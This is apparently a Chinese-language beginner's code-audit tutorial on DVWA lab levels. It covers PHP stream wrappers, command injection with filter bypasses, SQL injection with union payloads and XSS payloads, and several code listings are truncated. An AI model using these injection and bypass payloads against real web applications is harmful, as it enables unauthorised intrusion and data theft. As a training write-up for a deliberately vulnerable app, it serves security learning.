代码审计-初篇
PHP中支持的伪协议
1 | file:// — 访问本地文件系统 |
php://
php://filter在双off的情况下也可以正常使用;
条件:
不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
php://filter
php://filter
是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
1 | resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。 |
payload:
1 | php://filter/read=convert.base64-encode/resource=./1.txt |
php://input
php://input代表可以访问请求的原始数据,简单来说POST请求的情况下,php://input可以获取到post的数据。
比较特殊的一点,enctype=”multipart/form-data” 的时候 php://input 是无效的。
php://output
php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。
命令执行
0x00
准备材料
; - 分号在linux命令执行的时候,可以直接执行几条命令,命令与命令之间用分号隔开
& 前面的命令执行后接着执行候命的命令
&& 前面的命令执行成功后才可以执行下面的命令
| 前面的命令输出结果做为后面命令输入的内容
|| 前面的命令执行失败后才会执行后面的命令
0x01
1 | <?php |
代码审计:
先判断是否得到了一个提交的参数,然后,将IP地址赋予target参数
再判断是否为Windows系统,如果是win则执行第一个命令,如果不是就在命令加上-c选项,因为linux什么的操作系统中ping命令是一直执行的。只有加了-c指定发送的跳数才能停止
可以确定的是,完全没有添加防护措施,那就简单了,直接随便用一个吧(见0x00)
payload:
1 | sdbet || ipconfig |
0x02
1 | <?php |
代码审计:
其他地方和上一个差不多,唯一不同的就是,它将&&和;变成了数组中的元素,再通过str_replace函数,进行空格替换,从而顾虑了&&和;,但没关系,又不是只有那两个字符串。
涉及函数:
[array_keys][https://www.runoob.com/php/func-array-keys.html]
[str_replace][https://www.w3school.com.cn/php/func_string_str_replace.asp]
paylaod:
1 | 127.0.0.1 & ipconfig |
0x03
1 | <?php |
代码审计:
很聪明,直接过滤掉了所有可能的连接符,但只做了一次防护,反之,过滤了第一次后,那剩下的连接符就连接起来咯
payload:
1 | 127.0.0.1 &||& ipconfig |
0x04
1 | <?php |
代码审计:
explode() 函数把字符串打散为数组
stripslashes删除反斜杠
is_numeric() 函数用于检测变量是否为数字或数字字符串。
涉及函数:
[stripslashes][https://www.w3school.com.cn/php/func_string_stripslashes.asp]
[explode][https://www.w3school.com.cn/php/func_string_explode.asp]
[is_numeric()][https://www.runoob.com/php/php-is_numeric-function.html]
payload:这个我不会,哈哈。
SQL注入
0x01
1 | <?php |
$_REQUEST
包含了 $_GET
,$_POST
和 $_COOKIE
的数组,可以被远程用户篡改
is_object()** 函数用于检测变量是否是一个对象。PHP 版本要求: PHP 4, PHP 5, PHP 7
mysqli_error() 函数返回最近调用函数的最后一个错误描述
mysqli_fetch_assoc() 函数从结果集中取得一行作为关联数组,区分大小写
$_GLOBALS[“__mysqli_ston”]是规定使用的MySQL连接
从下图可以看出,它是完全没做防护就直接执行的
所以就直接构造payload
1 | 2' -- |
0x02
1 | <?php |
mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符
这串代码,其实就只是做了这一个防护,也就是转义特殊字符
转义的字符串有:NUL(ASCII 0)、\n、\r、\、’、” 和 Control-Z
但是,这里它本来就是数字型注入,所以我们不需要 '
闭合字符串,那mysql_real_escape_string()
的过滤就没什么用了
payload:
1 | 1 or 1=1 union select database(),2 |
0x03
high.php
1 | <?php |
在sql语句中添加LIMIT1,以此限定每次输出的结果只有1个记录,不会输出所有记录
session-input.php
1 | <?phpdefine( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';dvwaPageStartup( array( 'authenticated', 'phpids' ) );$page = dvwaPageNewGrab();$page[ 'title' ] = 'SQL Injection Session Input' . $page[ 'title_separator' ].$page[ 'title' ];if( isset( $_POST[ 'id' ] ) ) { $_SESSION[ 'id' ] = $_POST[ 'id' ]; //$page[ 'body' ] .= "Session ID set!<br /><br /><br />"; $page[ 'body' ] .= "Session ID: {$_SESSION[ 'id' ]}<br /><br /><br />"; $page[ 'body' ] .= "<script>window.opener.location.reload(true);</script>";}$page[ 'body' ] .= "<form action=\"#\" method=\"POST\"> <input type=\"text\" size=\"15\" name=\"id\"> <input type=\"submit\" name=\"Submit\" value=\"Submit\"></form><hr /><br /><button onclick=\"self.close();\">Close</button>";dvwaSourceHtmlEcho( $page );?> |
因为high.php直接跳转到session-input.php函数中,所以直接看后者就ok,没有防护,那就和第一个一样了
payload:
1 | 1' union select 1,database() # |
0x04
1 | <?phpif( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); // Make sure only 1 result is returned if( $data->rowCount() == 1 ) { // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; // Feedback for end user $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } }}// Generate Anti-CSRF tokengenerateSessionToken();?> |
xss注入
0x01
1 | <?php// Is there any input?if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { $default = $_GET['default']; # Do not allow script tags if (stripos ($default, "<script") !== false) { header ("location: ?default=English"); exit; }}?> |
if括号内判断是否存在<script字符串,如果不存在,就返回HTTP报头
涉及函数:
array_key_exists() 函数检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)
header() 函数向客户端发送原始的 HTTP 报头
pyload:
1 | </option></select><img src=1 onerror=alert("111")> |
0x02
1 | <?php// Is there any input?if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { # White list the allowable languages switch ($_GET['default']) { case "French": case "English": case "German": case "Spanish": # ok break; default: header ("location: ?default=English"); exit; }}?> |
这里,由于switch的加入,于是变成必须是default变量中的值,也就是French,English,German,Spanish才行否则就进行跳转结束运行;
payload:
1 | default=German&x=<script>alert(/123/)</script>default=German#<script>alert(/123/)</script> |
0x03
1 | <?phpheader ("X-XSS-Protection: 0");// Is there any input?if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Feedback for end user $html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';}?> |
这里的话,他其实没做任何防护,所以,要做的,其实就是闭合html中的标签而已
payload:
1 | 123"><script>alert(124)</script> |
0x04
1 | <?phpheader ("X-XSS-Protection: 0");// Is there any input?if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user $html .= "<pre>Hello ${name}</pre>";}?> |
这里使用了str_replace函数,直接过滤**